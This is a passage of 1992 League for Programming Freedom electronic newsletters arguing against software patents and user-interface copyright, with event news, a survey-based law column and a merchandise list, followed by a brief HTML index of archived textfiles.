investment of time go to waste if the present organization was allowed
to fall before entropy.
If you'd like to look at the files, either to use them or because you
are interested in possibly taking them over, you can find them for
anonymous ftp in the directory mintaka.lcs.mit.edu:/mitlpf/ai, files
index and patent-list.
-Michael Ernst
mernst@theory.lcs.mit.edu
--==--
<><>Another way to publicize the LPF - Frank P. Bresz<><>
WOW what a response.... using a question instead of
just a signature works far better for recruiting purposes. I have
had this signature :
Frank P. Bresz |PCD Simulators Department, Westinghouse Electric Corporation
fpb@ittc.wec.com|My opinions are mine, WEC pays big money for official opinions
uunet!ittc!fpb |Member: League for Programming Freedom (LPF) | STOP Software |
+1 412 733 6749 |For more information on the 'LPF' send mail | Patents Now |
For about a month (perhaps longer). In the past week I have
started (as suggested in the 'recruiting' document) just posing the
question to mail contacts from usenet and the like. I take the
time to remove my affiliation so as to not 'lead' the person into
anything they might not want to say/think.
I have already received 2 or 3 responses and at least 1 'Yep, looks
like I better join', after sending the papers.
Just thought I would let the folks know that it really works and it
is worth the few minutes it takes to do it.
[the signature publicity is also expanding; we now get 10 to 20
requests for info in a week stating that they "saw us in a .sig." -
spiker]
--==--
<><><>LPF email lists - who and what they are for<><><>
These lists are for LPF members only, although you may, of course,
redistribute postings to your friends in the hopes of getting them to
actively support the LPF by joining.
The moderated mailing list:
league-activists@prep.ai.mit.edu
and its two sub-lists:
league-activists-boston@prep.ai.mit.edu
and league-activists-remote@prep.ai.mit.edu should be used only
for members' requests for assistance in league projects, local or
nationally, or for announcements from LPF.
These lists are filtered by a moderator to:
- insure this use;
- minimize the number of messages;
- remove items meant for the list's -request address;
- forward items that should have been sent to another list.
There may be a delay of up to 3 days for your message to be sent on
L-act, so plan ahead for volunteer requests.
League-tactics@prep.ai.mit.edu is for discussion of LPF directions and
is not moderated.
If you want to subscribe, change your eddress (email address), or be
removed from either list, please use:
league-activists-request@prep.ai.mit.edu
or league-tactics-request@prep.ai.mit.edu
General questions about the LPF, and administrative questions about
your membership or your email copy of the newsletter should still go
to: league@prep.ai.mit.edu
--==--
Viewpoint: Software Patents - Boom or Bane? - by rms
(Appeared in June 1, 1992 Computerworld, p. 33)
If you develop software, or even if you use software, software patents
are a threat to your work.
Patents in software provide little benefit to society: past experience
shows that many new algorithms were published and many new features
tried out, in the absence of patents. The burden they impose is
immense: every design decision now carries the risk of being sued for
infringing a patent; most new techniques and features are off-limits
for seventeen years. As Bank of America has learned, even the users
of popular software packages can be sued.
When people first learn about the problem of software patents, their
attention is often drawn to the absurd patents that cover techniques
already widely known---such as ``natural order recalculation'' in
spreadsheets.
Focusing on these examples can lead some people to ignore the rest of
the problem. They are attracted to the position that the patent
system is basically correct and needs only ``reforms'' to carry out
its own rules properly. For example, they propose a data base of
prior art for patent examiners to study. But how much good would this
do? Let's consider an example.
In April 1991, software developer Ross Williams began publishing a
series of data compression programs using new algorithms of his own
devising. Their superior speed and compression quality soon attracted
users.
The following September, use of these programs in the United States
was halted by a newly issued patent, number 5,049,881. Dean Gibson
and Mark Graybill had applied for the patent on June 18, 1990.
Under the current patent rules, the validity of the patent depends on
whether there is ``prior art'': whether the basic idea was published
before that date in 1990. Williams's publication in April 1991 came
after that date, so it does not count.
Ghiora Drori, a student at the University of San Francisco, described
a similar algorithm in 1988/9 in a class paper, but it was not
published. This doesn't count either.
Reforms to make the patent system work ``properly'' would be no help
here---because the patent would still exist. There is no prior art
for it. It is not close to obvious, as the patent system interprets
the term. (Like most patents, it is neither revolutionary nor
trivial, but somewhere in between.) The fault is in the rules
themselves, not their execution.
Between this and other data compression patents, it is now difficult
to design any high-quality compression program that is unambiguously
lawful---because it is not easy to tell just how far a given patent
stretches.
In the US legal system, patents are intended as a bargain between
society and individuals; society is supposed to gain through the
disclosure of techniques that would otherwise never be available. It
is clear that society has gained nothing by issuing patent number
5,049,881.
Under current rules, our ability to use Williams's programs depends on
whether anyone happened to publish the same idea before April 1991.
More fundamentally, it depends on when various people happened to have
this idea. That is to say, it depends on luck. This system is good
for promoting the practice of law rather than that of software.
Teaching the Patent Office to look at more of the existing prior art
might prevent some outrageous mistakes. It will not cure the greater
problem, which is the patenting of every @emph{new} wrinkle in the
use of computers, like the one that Williams and others independently
developed.
This will turn software into a quagmire. Even an innovative program
will use dozens of known techniques and features, and each is likely
to be off limits if it is less than two decades old. Our ability to
use each wrinkle will depend on luck, and if we are unlucky half the
time, few programs will escape infringing a large number of patents.
Navigating the maze of patents will be harder than writing software.
As @cite{The Economist} says, software patents are simply bad for
business.
A reform substantial enough to solve this problem would have to
eliminate nearly all software patents. Since the problem is grave, we
should not wait to decide which handful do benefit society, if any.
We should abolish them all without delay, and leave the tuning for
later.
--==--
<><><> LPF Boutique: Materials Available from the League <><><>
Please send your order to the League address on the first page We
don't take credit cards yet, but are working on this with our bank.
We do take Traveler's Checks.
Buttons
We have reprinted the famous ``fanged apple'' buttons. These
buttons show the symbol of Apple computer with an alien snake's body
and face. You can buy buttons by mail from the League, for $2 each,
in quantities of at least three. We give out buttons at events, but
ask for a donation.
Stickers
We also have stickers showing Liberty Empowering the Programmer,
with the League's name and address. You can order stickers by mail
from the League at $5 for 10 stickers; for larger orders, phone us to
discuss a price. We hand them out free when it is convenient, such as
at our events, but since mailing packages to individuals costs money,
we want to make it an opportunity to raise funds.
Post stickers at eye level and separated from other posted
articles, to make them easy to see. The stickers are not made to
survive rain.
Liberty Postcards
We also have postcards showing Liberty Empowering the Programmer,
with the League's name and address. Same terms as the stickers.
Large Liberty Posters
We have a few posters with the same image that is on the
stickers, approximately 2.5 ft by 1.5 ft. They are $4 each and $4
total shipping and handling in the US for the first one to five
posters, and $2 for each additional five.
Coffee Mugs
Our coffee mugs have the Fanged Apple design in full color on one
side and ``League for Programming Freedom'' on the other. They hold
twelve ounces and are microwave safe. You can order a mug for $15,
nonmembers $17, plus $3.00 shipping and handling. They are now in
stock. Note the price increase.
T-Shirt
Michael Ernst has produced t-shirts with Liberty and ``League for
Programming Freedom'' on the front and ``Innovate, Don't Litigate'' on
the back. (The back slogan will change from time to time.) You can
order shirts by mail from the League for $10, nonmembers $12, plus $2
for shipping and handling. Available colors are yellow, blue and
peach (ecru); if you specify a color, we will assume you would rather
have another color than no shirt. If you want a chosen color or
nothing, say so explicitly. Please specify the shirt size! (M, L or
XL.) We are sold out of XL shirts, but will be making more new shirts
with the next version of the back slogan by the end of Sept.
Position Papers and Memberships
We will send anyone a copy of the League position papers. If you
want other copies to hand out at an event, we'll send you as many as
you need. Please discuss your plans with us. One-year memberships
are $42 for professionals, $10.50 for students, and $21 for others.
The dues are $100 for an institution with up to three employees, $250
for an institution with four to nine employees, and $500 for an
institution with ten or more employees. For $5000, an institution can
be a sponsor rather than a member. We have 10 inst. members, now.
League Papers Online
You can retrieve LPF written materials in TeXinfo format by anonymous
ftp from prep.ai.mit.edu in the directory /pub/lpf. These include the
position papers, membership form, handouts, friends of the court
briefs, and articles about the LPF's issues of concern. In addition to
the above, Joe Wells has PostScript, DVI, plain text, and Info format
versions of the papers "Against User Interface Copyright"
(look-and-feel) and "Against Software Patents" (patents) available for
FTP from this location: cs.bu.edu:pub/jbw/lpf/
League Video Cassettes
We have a four-hour video tape of two of Richard Stallman's speeches for the
LPF. If you'd like to give LPF speeches, we can send you copies of
these tape to give you an example to learn from. If you'd like
copies for another purpose, we can send them for $20 each. They will
be available in Oct. <><><>
<><><> End of August 1992 Programming Freedom <><><>
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_______________________________________________________
| |
| PROGRAMMING FREEDOM - online edition |
| |
| November 1992 -==- Number 6 |
| |
| The Electronic Newsletter of |
| The League for Programming Freedom |
| 1 Kendall Sq #143, POBox #9171, Cambridge MA 02139 |
| Send email to: lpf@uunet.uu.net |
| Voicemail phone number: 617-243-4091. |
| Leave your message and we'll return your call. |
| Editor: Spike R. MacPhee (spiker@prep.ai.mit.edu) |
| Assistant Editor: Andy Oram (oram@hicomb.hi.com) |
| Reproduction of Programming Freedom via all |
| electronic media is encouraged. |
| To reproduce a signed article individually, |
| please contact the author for permission. |
|_____________________________________________________|
<><><><><> TABLE OF CONTENTS <><><><><>
LPF News - New email address: lpf@uunet.uu.net; phone works again
LPF publicity efforts at COMDEX - by Chris Hofstader
LEGALLY SPEAKING: DEVELOPMENTS ON THE INTELLECTUAL PROPERTY FRONT
- by Pamela Samuelson, Michel Denber, and Robert J. Glushko
Norwegian LPF chapter activity - by Haakon W. Lie
LPF Boutique: Materials Available from the League
--==--
LPF NEWS - The LPF has a new email address: lpf@uunet.uu.net. If you
mention the LPF in your signature, please update the address. The LPF
phone is working again and also takes faxes now. Please send in your
election ballot to ensure a legal quorum at the annual meeting, which
is Sunday Dec. 20 at 8PM in the 7th floor lounge at 545 Tech Sq. (MIT
NE43), Cambridge, Mass. <><><>
--==--
The LPF at Fall COMDEX 1992 - by Chris Hofstader (cdh@gnu.ai.mit.edu)
For the first time in the LPF's history we will be running a booth at
the largest convention in our industry. In fact COMDEX is the largest
convention of any kind in the world. There will be over 300,000
professionals and others from all aspects of the computer industry in
attendance. It is being held in Las Vegas Nov. 16-20.
COMDEX offers a unique opportunity for the LPF to have access to both
computer corporate executives, their employees and perhaps most
importantly the entire international technology press corps. Having
our own booth at this convention will provide the LPF with a single
focal point where all of these people can find us and find out more
about our issues. This is the fourth year that the LPF has been at
COMDEX with officials and volunteer members.
This COMDEX also marks one of the rare occasions that Jack Larsen,
Steve Sisak, Gordon Schantz and I will all be available to discuss LPF
issues with both our members who attend the convention and the public
at large. It will also offer us an opportunity to meet and plan for
the future of the LPF.
If any LPF members plan on attending COMDEX and would like to help the
LPF there or would like to meet any or all of the LPF leaders who will
be in attendance there are a number of things that you can do:
1. Send me some mail or call the LPF telephone before the convention
and we can add you to the LPF guest list. Purchasing a booth at
COMDEX allows us to give out a fair number of guest passes at no
charge to the LPF but a 75 dollar savings to the members who take
advantage of this offer.
2. Call us at COMDEX. There are a number of things that a volunteer
can do to help us there and of course we would like to meet and
talk to any members who are interested. Jack Larsen, Steve Sisak
and I will all be registered at Circus Circus throughout the
convention.
3. Visit the LPF booth. Our booth is located in the Riviera
convention center located adjacent to the Riviera Hotel on Las
Vegas Blvd. We will have plenty of LPF materials there as well as
being there ourselves throughout the week.
4. Send other people to the LPF booth. We would love to talk to your
friends and coworkers about he importance of our issues and about
the LPF.
Whether you choose to volunteer at COMDEX or just stop by to talk we
would enjoy seeing you there. If you cannot attend but have friends
or coworkers attending please tell them to drop by and find out what
we're all about. <><><>
--==--
LEGALLY SPEAKING: DEVELOPMENTS ON THE INTELLECTUAL PROPERTY FRONT
by Pamela Samuelson, Michel Denber, and Robert J. Glushko
[This column was first published in the June 1992 issue of
Communications of the ACM. It may be reproduced only for
noncommercial purposes. Due to length, we have edited the article
from nine to six pages.]
The rift between what computing professionals think the law of
intellectual property rights in computer programs ought to be and what
intellectual property professionals (mainly lawyers) think it ought to
be is growing wider every day. At the moment, it appears that the
intellectual property professionals are outmanuevering the computing
professionals by working toward establishing their vision of the
proper rules on software intellectual property rights as "the law"
before the computing professionals even know that the rules that will
govern their conduct are being decided.
While there are unquestionably pros and cons to the software
patent and other intellectual property controversies, the unfortunate
fact of current U.S. policy on intellectual property rights for such
an important product as computer programs is that the policymaking
seems largely to be occurring either behind closed doors or in
courtrooms across the country in cases in which the court papers are
filed under seal. This effectively precludes those whose work will be
substantially affected by the resolution of these controversies from
having any meaningful input into the process of shaping the law in a
manner that would make sense to them. Exclusion of computing
professionals from the policymaking process also means that the
opportunity to persuade them of the merits of proposals eventually
adopted has been lost. This, in turn, may have serious consequences
for the enforceability of the proposals if they become the law.
This column will report on this rift by bringing CACM readers up
to date on some national and international developments in the
intellectual property rights arena and by reporting the results of a
survey on intellectual property rights conducted in August 1991 at the
SIGGRAPH conference in Las Vegas. The SIGGRAPH survey results are
much the same as the CHI '89 survey results reported in the May 1990
"Legally Speaking" column. Both surveys show strong support for
copyright protection for source and object code, but little support
for copyright or patent protection for most aspects of user interfaces
and internal structural features of computer programs. If anything,
the SIGGRAPH survey results show even stronger opposition to copyright
protection for "look and feel" than did the CHI '89 survey, as well as
stronger opposition to patent protection for algorithms.
Further evidence of significant opposition to patent protection
for computer program-related inventions can also be found in a large
number of letters sent by computing professionals in response to last
summer's call for public comment by a U.S. Advisory Commission on
Patent Reform that was ostensibly created to address questions about
patent protection for software innovations, among other issues. The
Commission's recently released draft report dismisses concerns raised
by software patent opponents, and urges, if anything, broadening the
role of patents for software innovations. That the Commission should
be preparing to make these recommendations is not surprising to those
who knew the composition of the subcommittee in charge of the computer
program-related invention issues. This aspect of the Commission's
work seems to be a thinly disguised effort to prevent a more
democratic public debate on software patent issue in which the views
of computing professionals could be considered.
Other events happening outside the realm of public debate include
the recent release of a draft agreement on intellectual property
rights being considered for inclusion as an addendum to the General
Agreement on Tariffs and Trade (GATT). Although the draft doesn't
directly say so, one of its provisions can be read as requiring member
nations to provide patent protection for software innovations. This
aspect of the GATT-related draft agreement would seem to implement
another recommendation of the U.S. Advisory Commission on Patent
Reform draft report which urges the U.S. to strongly encourage other
countries to broaden patent protection for program-related inventions.
THE SIGGRAPH SURVEY
...After the panelists spoke and responded to questions, the
audience was asked to respond to a survey nearly identical to the
survey on intellectual property rights conducted at CHI '89. There
were 345 respondents to the SIGGRAPH intellectual property rights
survey. As with the CHI '89 survey (which had 667 respondents), the
SIGGRAPH survey was filled out by people who mainly worked for firms
that develop software for commercial purposes (only one in five of the
respondents to these surveys worked for universities)...
AN OVERVIEW OF THE FINDINGS ON PROTECTION OF VARIOUS ASPECTS OF
SOFTWARE
There were three aspects of programs that enjoyed significant
support for intellectual property protection among the SIGGRAPH survey
respondents. Like the CHI '89 respondents before them, SIGGRAPHians
overwhelmingly supported copyright protection for the source code of
computer programs. Although a strong majority also supported
copyright protection for object code (as had the CHI survey
respondents), support for copyright protection for object code was
nonetheless lower among both SIGGRAPH and CHI respondents than was the
support for copyright for source code. The other aspect of software
enjoying strong support for copyright protection from SIGGRAPH
respondents was computer generated images (a subject about which no
inquiry was made on the CHI survey)...
... nearly four out of five of the SIGGRAPH respondents were against
patent or copyright protection for algorithms, whereas the CHI
respondents were almost evenly split on the issue...
STRONGER OPPOSITION TO "LOOK AND FEEL"
Opposition to copyright protection for the "look and feel" of
computer programs was also stronger among the SIGGRAPH respondents
than among the CHI '89 survey respondents. More than three-quarters
of the CHI respondents had expressed opposition to protection for the
look and feel of computer programs. Ninety-four percent of SIGGRAPH
respondents, however, were opposed to look and feel protection...
SIMILAR RESULTS CONCERNING OTHER USER INTERFACE FEATURES
Apart from the stronger opposition to look and feel protection,
the SIGGRAPH survey yielded quite similar results to the CHI '89
survey concerning other aspects of user interfaces. Ninety-two
percent of SIGGRAPH respondents opposed protection of user interface
commands, as had 88 percent of the CHI respondents. Ninety-one
percent of SIGGRAPH respondents opposed patent or copyright protection
for user interface functionality, as had eighty-three percent of CHI
respondents. There was somewhat less support among the SIGGRAPH than
CHI respondents for protection of user interface screen layouts (79%
opposition among SIGGRAPH and 69% among CHI respondents) and for user
interface screen sequences (90% opposition among SIGGRAPH and 79%
among SIGCHI respondents for this). Icons, however, were thought
deserving of protection by almost equal percentages of SIGGRAPH (44%)
and SIGCHI (43%) respondents...
DEVELOPMENTS ON THE PATENT FRONT
About two years ago, after some National Research Council
workshops aired conflicting views on software intellectual property
issues, a Congressional hearing was held on software intellectual
property issues. At this hearing, software developers Mitch Kapor and
Dan Bricklin, among others, expressed a number of concerns about
patent protection for software innovations. Some of the concerns
pertained to problems with how the U.S. Patent and Trademark Office
(PTO) was implementing its policy on computer program-related
inventions (e.g., problems arising from the PTO's ignorance of the
prior art and too low a standard as to what software innovations were
inventive enough to be patented). Some concerns were more fundamental
in nature (e.g., whether patent protection for software innovations
might significantly raise the barriers to entry to the software
industry, especially worrisome because small software firms have been
at the forefront of innovation in this industry).
At about the same time, the United States began to consider
proposals to change its patent law to make it more like the patent
laws of other industrialized nations. To address questions that had
arisen concerning patent protection for computer program-related
inventions (including those raised at the Congressional hearing) and
to consider the patent harmonization proposals and some other issues,
the U.S. Department of Commerce established an Advisory Commission on
Patent Law Reform.
Although one important set of issues to be addressed by the
Commission concerned software patents, no effort was made to find a
prominent computing professional who had no stated position on the
issues to serve on the Commission. The person appointed to serve as
the chairman of the Commission's working group on the computer
program-related inventions was Howard Figueroa, an IBM executive who
had publicly spoken in favor of patent protection for computer program
innovations before his appointment to the Commission. (Interestingly,
twenty years ago IBM was one of a number of computer firms who
submitted an amicus brief to the U.S. Supreme Court in the Gottschalk
v. Benson case arguing against patent protection for algorithms and
other program-related inventions because of their mathematical
character. The nature of program algorithms hasn't changed at all in
the past two decades, but IBM's position on the patent issues has
completely reversed itself.)
The "public interest" representative on the Commission's working
group on the computer program issues was William Keefauver, the lawyer
who argued the Benson case before U.S. Supreme Court on behalf of AT&T
(the assignee of Benson's patent rights). Keefauver has made no
secret of the fact that he regards the Supreme Court's ruling that
Benson's algorithm for converting binary coded decimals to pure binary
form was unpatentable was wrongly decided. With Figueroa and
Keefauver on the working group on the computer program-related issues,
along with three other lawyers specializing in patent law (and an IBM
attorney as an alternate member), it was widely expected that the
group would conclude that patents were appropriate for computer
program-related inventions. Indeed, any other conclusion would have
been extremely surprising. (Samuelson has yet to meet a patent lawyer
who has doubts about the advisability of patent protection for
software innovations.)
Last spring the Commission published a set of questions for
comment from the public. Most of the questions dealt with patent
harmonization and other issues, but the first group of questions
focused on the computer program-related issues. Even the manner in
which the Commission stated its questions on the computer program
issues suggested something other than an open mind on the issues. One
of the questions, for example, asked whether there was any reason why
patent protection should be "removed" for computer program-related
inventions. This way of stating the question suggests that the law
already clearly provided patent protection for computer program
innovations when, in fact, the case law is in considerable disarray on
this subject.
The Commission has acknowledged receiving 545 letters in response
to this set of questions. Nearly eighty percent of the letters
addressed the computer program-related questions; sixty percent
addressed only the computer program-related issues. The Commission
has not provided further information about the letters, such as the
numbers of respondents who opposed or supported patent protection for
computer program innovations. Electronic versions of some of these
letters were posted on electronic bulletin boards. From these, it is
clear that quite a number of the letters were critical of software
patents and quite a number came from computing professionals.
The draft report of the Commission's working group on the
computer program-related issues was released in January of 1992.
Unsurprisingly, it concludes that patent protection for computer
program-related inventions is well- established in the law and should
be continued. By endorsing the view expressed some years ago by
patent scholar Donald Chisum that algorithms and other computer
program related inventions are patentable because they are processes
and have a technological character, the draft report seems to to call
(as Chisum also did) for the overruling of the 1972 Gottschalk v.
Benson decision in which the U.S. Supreme Court decision ruled that
computer program algorithms were unpatentable on account of their
mathematical character.
The draft report states that it considered all the letters
submitted in the response to the request for public comments. But the
report mainly mentions potential objections to the patenting of
software innovations as a prelude to dismissing them. (This part of
the report follows the form: "A" is not a problem because of X; "B" is
not a problem because of Y; and so on.) The draft report does,
however, recommend a number of changes in PTO procedures for dealing
with program-related inventions. For example, it states that the
Office should have better access to the prior art for software
innovations and better ways of classifying software so that people can
search more effectively for what has been patented before.
The draft report also asserts that Europe and Japan now strongly
support patent protection for the patenting of computer
program-related inventions, and that the major patent offices around
the world are operating in substantial harmony concerning patent
protection for software innovations. It further urges the U.S. to
press those nations that don't provide patent protection for software
innovations to modify their policies to make program-related
inventions patentable, saying that the U.S. competitive edge in
software depends on the availability of patent protection. (It would
take an entire column to explain why the report's assertions about
other nations' patent standards aren't completely accurate, but it is
worth noting that the competitive edge that the U.S. software industry
currently enjoys was achieved in a legal environment in which patent
protection was not available for most computer program-related
inventions.)
GATT-RELATED DEVELOPMENTS
For the last several years, negotiations have been underway to
reach agreement on international norms on intellectual property rights
within the framework of the GATT. In mid-December 1991, a draft
agreement on Trade Related Intellectual Property Rights (TRIPS) aimed
at achieving this goal was distributed. It is now under consideration
by member nations. Negotiations about it are expected to continue for
some time. It is far from clear that this draft will be adopted,
mainly because third world and industrialized nations have not yet
resolved some longstanding disagreements on a number of its provisions
(such as those requiring patent or patent-like protection for new
species of plants).
Only a few of the provisions of the draft TRIPS agreement deal
with computer software issues. The main provision of the TRIPS
agreement concerning intellectual property rights in computer programs
is that which would require member nations to protect computer
programs as "literary works" under copyright law. The patent section
of the draft TRIPS agreement does not directly mention computer
software, but the provision does say that patents are to be available
without regard to the "field of technology" to which they pertain.
Since it is difficult to dispute that computer programming pertains to
a "field of technology," this provision can be interpreted as
requiring member nations to protect software innovations by patent law
(notwithstanding the statutory provisions that many nations have
excluding many program-related inventions from patents and judicial
interpretations in many nations that have tended to limit the extent
of patent protection for software innovations).
Those who support this expansive interpretation of the draft
TRIPS agreement, like those who wrote the Patent Advisory Commission
draft report, tend to assert that there is already a significant
consensus, at least among Industrialized nations, in favor of patent
protection for software innovations (when, in fact, there is not).
They also tend to ignore significant differences in patentability
standards employed by those nations that do provide some degree of
patent protection for software innovations. At an international
conference on software intellectual property rights sponsored by
Japan's Software Information Technology Center held in Tokyo in
December, the head of the EC Directorate which issued the EC Directive
on Copyright Protection for Computer Programs, after listening to
discussion of British, German, U.S. and Japanese patent caselaw on
patent protection for computer program-related inventions, stated that
the discussion had convinced him that it was premature to say that
there was sufficient consensus on this set of issues to make it part
of the GATT framework.
CONCLUSION
The SIGGRAPH intellectual property rights survey, like the CHI
'89 survey before it, demonstrates that there is strong support for
copyright protection for source and object code, but strong opposition
to extending copyright protection to such things as "look and feel"
within these segments of the technical community. Those surveyed
expected negative consequences for their own work and for the industry
and community of which they were a part if the look and feel lawsuits
established strong copyright protection for user interfaces. The
survey also suggests that there is significant opposition within these
communities concerning patent protection for software innovations.
Neither the SIGGRAPH or the CHI '89 surveys purport to be
anything more than what they are: interesting sets of data about what
people in these communities think about the legal issues that affect
their field...
Intellectual property rights are, of course, not a popularity
contest. What people in a particular field think the law should be on
a particular issue, even if by substantial margins, doesn't
necessarily mean that the courts or the legislature will or should
agree with that group's assessment. But what people think about the
norms that will govern their work and the industry as a whole ought to
matter, if for no other reason than that if there is a substantial gap
between what people in the field think the rule should be and what the
rule is, they may not respect the rule, or may devise strained
interpretations of it that may lead to more litigation. Resentment at
being excluded from the process of shaping the rule can also undermine
the effectiveness of a rule.
...Computer programs are unquestionably an important item of
commerce, not only in the United States, but in many other nations.
Given the international nature of commerce of this product and its
associated services, it is understandable that the U.S. and other
exporters of software products would press other nations for adoption
of relatively uniform rules for protecting intellectual property
rights in software. But it is a bad way for the U.S. (or any other
country) to make public policy by pushing for adoption of an
international treaty requiring member nations to give patent
protection to software innovations and then use that requirement as a
basis for asserting that the U.S. (or other country) has to patent
software innovations in order to comply with its treaty obligations.
Computing professionals rely on the strength of the software
industry, both for their employment and for the tools with which they
conduct their work. They have a strong and abiding interest in the
success of this industry, and in the existence of intellectual
property rights that provide needed incentives for investment in the
industry. In addition, they have a strong sense of professional
responsibility and they care very much about the norms that govern
their work. By virtue of their experience in the field, computing
professionals also have some insights about what kind and what extent
of intellectual property protection for software is appropriate that
those who are making policy in this area would do well to heed.
Pamela Samuelson is a Professor of Law at the University of Pittsburgh
School of Law. Michel Denber is a researcher at Xerox Corporation's
research facility in Rochester, New York. Robert J. Glushko is the
President of Hypertext Engineering, Pittsburgh, Pennsylvania.
--==--
<><><>LPF email lists - who and what they are for<><><>
These lists are for LPF members only, although you may, of course,
redistribute postings to your friends in the hopes of getting them to
actively support the LPF by joining.
The moderated mailing list:
league-activists@prep.ai.mit.edu
and its two sub-lists:
league-activists-boston@prep.ai.mit.edu
and league-activists-remote@prep.ai.mit.edu should be used only
for members' requests for assistance in league projects, local or
nationally, or for announcements from LPF.
These lists are filtered by a moderator to:
- insure this use;
- minimize the number of messages;
- remove items meant for the list's -request address;
- forward items that should have been sent to another list.
There may be a delay of up to 3 days for your message to be sent on
L-act, so plan ahead for volunteer requests.
League-tactics@prep.ai.mit.edu is for discussion of LPF directions and
is not moderated.
If you want to subscribe, change your eddress (email address), or be
removed from either list, please use:
league-activists-request@prep.ai.mit.edu
or league-tactics-request@prep.ai.mit.edu
General questions about the LPF, and administrative questions about
your membership or your email copy of the newsletter should still go
to: lpf@uunet.uu.net
--==--
LPF Norwegian chapter activity - by Haakon W. Lie (Haakon.Lie@nta.no)
On June 22, the computer science elite of Norway celebrated the 25th
anniversary of Simula, a pioneering object-oriented language. Among the
invited speakers were Alan Kay (formerly of Xerox Parc, now an Apple
fellow) and Larry Tesler (formerly of Xerox Parc, now VP at Apple).
Among the more innocent VIPs were Bjarne Stroustrup and C.A.R. Hoare.
The Norwegian chapter of the League for Programming Freedom used this
opportunity to express our position on user interface copyright and
software patents. The 300 participants received handouts describing
the current threats to programming freedom. both Alan Kay and Larry
Tesler received a copy of the handout, and Tesler acknowledged our
existence in his presentation (before he showed the demo tape of
Apple's forthcoming Newton he said he hoped the LPF representatives
would not copy the user interface. I presume he intended to make a
joke).
The leading computer newspaper in Norway (Computerworld) covered the
event and presented the the views of LPF in two following articles.
Pictures of LPF members with banners ("Object-oriented programmers,
beware!", "Defend Programming Freedom") and handouts were featured and
the total LPF coverage exceeded that of the jubilee itself.
The Norwegian chapter received several new members as result of the
action. To my knowledge, we didn't make any immediate enemies -- we
were careful to sympathize with the theme of the conference. The
handout started like this:
Object-oriented programmers -- beware!
The League for Programming Freedom salutes the creators of Simula
and Object-Oriented Programming. Object-oriented programming has
given programmers powerful techniques to express themselves for
the benefit of the users. Today, the freedom of expression for
programmers is threatened by software patents and interface
copyrights.
LPF is a very American organization using a very American symbol [the
Statue of Liberty] and this may alienate some people. therefore, some
of the text on the handouts and banners were in Norwegian, and we
tried to modify the arguments to suit the law of the land.
--==--
<><><> LPF Boutique: Materials Available from the League <><><>
Please send your order to the League address on the first page.
We don't take credit cards yet, but do take US currency in cash,
checks, money orders, or any of the brands of Travelers Checks.
Buttons
We have reprinted the famous ``fanged apple'' buttons. These
buttons show the symbol of Apple computer with an alien snake's body
and face. You can buy buttons by mail from the League, for $2 each,
in quantities of at least three. We give out buttons at events, but
ask for a donation.
Stickers
We also have stickers showing Liberty Empowering the Programmer,
with the League's name and address. You can order stickers by mail
from the League at $5 for 10 stickers; for larger orders, phone us to
discuss a price. We hand them out free when it is convenient, such as
at our events, but since mailing packages to individuals costs money,
we want to make it an opportunity to raise funds.
Post stickers at eye level and separated from other posted
articles, to make them easy to see. The stickers are not made to
survive rain.
Liberty Postcards
We also have postcards showing Liberty Empowering the Programmer,
with the League's name and address. Same terms as the stickers.
Large Liberty Posters
We have a few posters with the same image that is on the
stickers, approximately 2.5 ft by 1.5 ft. They are $4 each and $4
total shipping and handling in the US for the first one to five
posters, and $2 shipping/handling for each additional five.
Coffee Mugs
Our coffee mugs have the Fanged Apple design in full color on one
side and ``League for Programming Freedom'' on the other. They hold
twelve ounces and are microwave safe. You can order a mug for $15,
nonmembers $17, plus $3.00 shipping and handling. They are now in
stock. Note the price increase.
T-Shirts
Michael Ernst has produced t-shirts with Liberty and ``League for
Programming Freedom'' on the front and ``Innovate, Don't Litigate'' on
the back. (The back slogan will change from time to time.) You can
order shirts by mail from the League for $10, nonmembers $12, plus $2
for shipping and handling. Available colors are yellow, light blue
and ecru; if you specify a color, we will assume you would rather have
another color than no shirt. If you want a chosen color or nothing,
say so explicitly. Please specify the shirt size! (M, L or XL.) We
are sold out of XL shirts with this back-slogan.
We have printed the next version of the LPF t-shirt. The new
back-slogan is "You'll pay for this", with an XORed cursor over the
word "this", and "League for Programming Freedom" underneath. The
front is the same as the older shirt, and the colors are yellow, light
blue, and off-white in M, L, and XL sizes.
Position Papers and Memberships
We will send anyone a copy of the League position papers. If you
want other copies to hand out at an event, we'll send you as many as
you need. Please discuss your plans with us. One-year memberships
are $42 for professionals, $10.50 for students, and $21 for others.
The dues are $100 for an institution with up to three employees, $250
for an institution with four to nine employees, and $500 for an
institution with ten or more employees. For $5000, an institution can
be a sponsor rather than a member.
League Papers Online
You can retrieve LPF written materials in TeXinfo format by anonymous
ftp from prep.ai.mit.edu in the directory /pub/lpf. These include the
position papers, all back issues of our newsletter Programming Freedom
membership form, handouts, friends of the court briefs, and articles
about the LPF's issues of concern. In addition to the above, Joe Wells
has PostScript, DVI, plain text, and Info format versions of the
papers "Against User Interface Copyright" (look-and-feel) and "Against
Software Patents" (patents) available for FTP from the location:
cs.bu.edu:pub/jbw/lpf/
League Video Cassettes
We have a four-hour video tape of two of Richard Stallman's speeches
for the LPF. If you'd like to give LPF speeches, we can send you a
copy of this tape to give you an example to learn from. If you'd like
copies for another purpose, we can send them for $20 each (includes $4
shipping and handling.) They are now available in VHS/NTSC format
only. <><><>
FIRST CLASS MAIL FIRST CLASS MAIL FIRST CLASS MAIL FIRST CLASS MAIL
League for Programming Freedom
1 Kendall Square #143
P.O.Box 9171
Cambridge, Massachusetts 02139
FIRST CLASS MAIL
TO:
FIRST CLASS MAIL FIRST CLASS MAIL

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<H1>
The Adventures of Lone Wolf Scientific (1991)
</H1>
<P>
<TABLE WIDTH=100%>
<TD BGCOLOR=#00FF00><FONT COLOR=#000000><B>Filename</B></FONT>
<TD BGCOLOR=#00DD00><FONT COLOR=#000000><B>Size</B></FONT>
<TD BGCOLOR=#00AA00><FONT COLOR=#000000><B>Description of the Textfile</B></TR>
<tab indent=60 id=T><br>
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="LWS/11.lws">11.lws</A> <tab to=T><TD> 16687<BR><TD> The Adventures of Lone Wolf Scientific Episode #11 by Michy Peshota (1991)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="LWS/12.lws">12.lws</A> <tab to=T><TD> 8926<BR><TD> The Adventures of Lone Wolf Scientific Episode #12 by Michy Peshota (1991)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="LWS/13.lws">13.lws</A> <tab to=T><TD> 14026<BR><TD> The Adventures of Lone Wolf Scientific Episode #13 by Michy Peshota (1991)
